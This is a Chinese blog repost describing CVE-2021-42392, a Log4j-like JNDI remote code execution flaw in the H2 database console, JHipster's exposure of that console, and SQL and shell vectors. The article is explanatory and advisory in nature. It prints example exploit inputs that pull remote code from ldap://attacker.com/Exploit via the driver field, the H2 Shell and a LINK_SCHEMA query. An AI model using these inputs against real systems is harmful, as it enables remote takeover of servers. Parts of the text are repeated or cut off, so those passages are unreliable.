首页 > 数据库 > 数据库开发技术 > H2数据库被爆类log4j漏洞


简介:大家好,我是枫哥,🌟一线互联网的IT民工、📝资深面试官、🌹Java跳蚤网课堂创始人。拥有多年一线研发经验,曾就职过科大讯飞、美团网、平安等公司。在上海有自己小伙伴组建的副业团队,目前业余时间专注Java技术分享,春招/秋招/社招/跳槽,一对一学习辅助,项目接活开发。
🌟 欢迎关注 🌟 收藏 🌹在看 🌹
🍊🍊:文末送福利


在H2Database Console中,研究 人员 发现 了类似 log4j的安全漏洞 。
H2 是Java 编写 的关系数据库 ,可以嵌入 Java 应用程序 ,也可以 作为 单独 的数据库服务器 运行 。JFrog安全 研究 人员 在H2 数据库 中发现 了一个 基于 JNDI的漏洞 ,CVE编号 为CVE-2021 -42392。这个 漏洞 是一个,根本原因 类似于 ApacheLog4j。
漏洞根源分析——JNDI 远程类加载
漏洞的本质原因是H2数据库过程中的多个代码路径将未过滤攻击者控制的URL传输到javax.naming.context.lookup函数,可以加载远程代码库(AKAJava代码注入/AKA远程代码执行)。org.h2.util.Jdbcutils.getconection方法以驱动类名和数据库url为参数。如果驱动类可以分配给javax.naming.context,该方法可以实例化一个对象,并调用其lookup方法:
else if (javax.naming.Context.class.isAssignableFrom(d)) {// JNDI contextContext context = (Context) d.getDeclaredConstructor().newInstance();DataSource ds = (DataSource) context.lookup(url);if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {return ds.getConnection();}return ds.getConnection(user, password);}
设置驱动类别为javax.naming.InitialContext,URL为ldap:/attacker.com/Exploit可能导致远程代码执行。

JNDI攻击流
CVE-2021-42392攻击向量
最严重的攻击向量是通过H2 console:
H2数据库包含嵌入式基于web的console,可以实现数据库的便捷管理。默认情况下,运行H2packageJAR。
http://localhost:8082上:java -jar bin/h2.jar
在Windows上,是通过开始菜单-H2 console应用:

此外,如果使用H2作为嵌入式库,console可以从Java开始:
h2Server = Server.createWebServer("-web", "-webAllowOthers", "-webPort", "8082");h2Server.start();
访问console时,将有一个受保护的登录表单,将driver和URL域运行到Jdbcutils.getconection对应的域。这将导致非认证的远程代码执行,用户名和密码在执行含有可疑URL的lookup时未经验证。

Generic H2登录表单
H2console一般只能从localhost访问。但是这个选项可以通过console修改为UI:

H2Console选项。
或修改为命令行参数:-webAllowothers。
但研究人员发现,一些依赖H2数据库的第三方会默认向远程客户端暴露H2console。例如,JHipster框架将暴露H2console,并默认将webAllowothers属性设置为true:
H2Console选项。
或修改为命令行参数:-webAllowothers。
但研究人员发现,一些依赖H2数据库的第三方会默认向远程客户端暴露H2console。例如,JHipster框架将暴露H2console,并默认将webAllowothers属性设置为true:
根据官方文件,在使用JHipster框架时,H2console默认在/h2-console终端的JHipster web接口上:

JHipster web接口。
H2console的部署很难量化,因为H2数据库被广泛使用。
H2 Shell工具
在内置H2shell中,能够控制命令行参数的攻击者可以调用漏洞驱动和URL:
java -cp h2*.jar org.h2.tools.Shell -driver javax.naming.InitialContext -url ldap://attacker.com:1387/Exploit但这种攻击的现实可能性相对较小。
基于SQL的攻击向量。
有漏洞的Jdbcutils.getconnection可能会被多个SQL存储过程调用。研究人员识别出多个具有相同特征的过程,使得攻击向量不那么严重,因为只有经过认证的数据库管理员才能调用。
例如,LINK_SCHEMA可以直接将driver和URL参数传递给有漏洞的函数,例如以下查询过程:
SELECT * FROM LINK_SCHEMA('pwnfr0g', 'javax.naming.InitialContext', 'ldap://attacker.com:1387/Exploit', 'pwnfr0g', 'pwnfr0g', 'PUBLIC');由于保存过程受到数据库管理员的限制,研究人员认为最严重的攻击向量是将SQL注入到远程代码中。
原文作者:IT枫斗者;如有侵权,请联系管理员删除。